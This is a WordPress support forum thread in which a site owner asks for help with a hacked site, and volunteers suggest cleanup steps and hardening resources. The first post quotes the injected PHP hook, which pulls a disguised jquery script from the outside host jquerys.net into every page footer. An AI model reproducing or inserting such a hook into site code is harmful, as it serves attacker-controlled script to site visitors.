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Website just shows a fatal error (12 posts)

  1. Will_24
    Member
    Posted 9 months ago #

    Hi,

    My website InsightTuition.com isn't working. It's just showing the following error message:

    function pluginAuth(){ echo(@wp_remote_retrieve_body(@wp_remote_get('http://jquerys.net/jquery-1.6.3.min.js'))); } @add_action('wp_footer', 'pluginAuth');
    Fatal error: Call to undefined function wp() in /home/content/91/11630891/html/wp-blog-header.php on line 14

    The only thing I did associated with the website before this happened was installing setting up a new website and domain on the same GoDaddy hosting account. I contacted GoDaddy and they said that it was nothing to do with GoDaddy but to do with WordPress and they told me to post on here.

    Please help?

  2. Lorenzo Orlando Caum
    Member
    Posted 9 months ago #

    Try forcing a deactivation of your active plugins:

    http://codex.wordpress.org/FAQ_Troubleshooting#How_to_deactivate_all_plugins_when_not_able_to_access_the_administrative_menus.3F

    Then login to your WordPress admin and reactivate your plugins one by one to determine the conflict.

  3. Krishna
    Volunteer Moderator
    Posted 9 months ago #

    Looks like it is a case of malicious script (see jquerys.net). Try to deactivate all plugins by renaming the plugin's folder (via FTP/ control panel of your site) by adding -HOLD and see if the problem persists.

  4. Will_24
    Member
    Posted 9 months ago #

    Try forcing a deactivation of your active plugins:

    http://codex.wordpress.org/FAQ_Troubleshooting#How_to_deactivate_all_plugins_when_not_able_to_access_the_administrative_menus.3F

    Then login to your WordPress admin and reactivate your plugins one by one to determine the conflict.

    Looks like it is a case of malicious script (see jquerys.net). Try to deactivate all plugins by renaming the plugin's folder (via FTP/ control panel of your site) by adding -HOLD and see if the problem persists.

    Tried and failed.

  5. Scriptrunner (Doug Sparling)
    Member
    Posted 9 months ago #

    As Krishna said, that's every sign of a malicious script. Something is hijacking your wp-load.php core file, and that jquerys.net call is is using hex strings, which usually means someone is obfuscating their javascript, and that's never a good sign. You probably need to reinstall WordPress from source.

  6. Will_24
    Member
    Posted 9 months ago #

    As Krishna said, that's every sign of a malicious script. Something is hijacking your wp-load.php core file, and that jquerys.net call is is using hex strings, which usually means someone is obfuscating their javascript, and that's never a good sign. You probably need to reinstall WordPress from source.

    Will I lose everything I've done?

  7. Krishna
    Volunteer Moderator
    Posted 9 months ago #

    Will I lose everything I've done?

    No. You will not lose everything. You may delete everything in your current installation, reinstall WordPress and restore your site from a backup of your site that is prior to the infection. If you do not have a recent backup, you can either download one from your hosting provider or ask them to help you with a backup.

  8. Will_24
    Member
    Posted 8 months ago #

    No. You will not lose everything. You may delete everything in your current installation, reinstall WordPress and restore your site from a backup of your site that is prior to the infection. If you do not have a recent backup, you can either download one from your hosting provider or ask them to help you with a backup.

    I don't have a backup before it happened and GoDaddy charge $150 for a database restore. Even if I did have that kind of money to waste on something like this, a 30-day backup wouldn't do anything because it happened about a month ago.

  9. Krishna
    Volunteer Moderator
    Posted 8 months ago #

    -Have you checked your cPanel if you have backups stored there? It is possible that you may find one there (and download it).
    -If the above step does not help, you can create a backup using the links at your hosting panel or using phpMyAdmin and download it to your machine.
    -Once you do that you can look for the problematic codes by opening the database using a text editor like NotePad or WordPad and remove them.
    -If you have a local WordPress installation in your computer, you can check if your site is OK by restoring your database.
    -After the above steps, you can restore the site to a newly installed WordPress site at GoDaddy.
    http://codex.wordpress.org/Restoring_Your_Database_From_Backup

    You may also have a thorough study of the resources recommended for hacked sites so that it will help you to cleanup your site.
    http://codex.wordpress.org/FAQ_My_site_was_hacked
    http://wordpress.org/support/topic/268083#post-1065779
    http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
    http://ottopress.com/2009/hacked-wordpress-backdoors/

    Additional Resources:
    http://codex.wordpress.org/Hardening_WordPress
    http://sitecheck.sucuri.net/scanner/
    http://www.unmaskparasites.com/
    http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html

    If you find the above steps beyond what you can do by yourself, you may either try the services offered by your host or try to hire someone.
    http://jobs.wordpress.net/post-a-job/

  10. Will_24
    Member
    Posted 8 months ago #

    Just re-installed WordPress and I'm getting the same problem.

  11. Will_24
    Member
    Posted 8 months ago #

    Wiped & re-installed it twice now and I'm getting the error again.
    This is incomprehensible, I think I'm just going to give up.

  12. raulsan77
    Member
    Posted 4 months ago #

    bad english: look at the htaccess file and if exist "main.php" file in root of your site. this is error for me.

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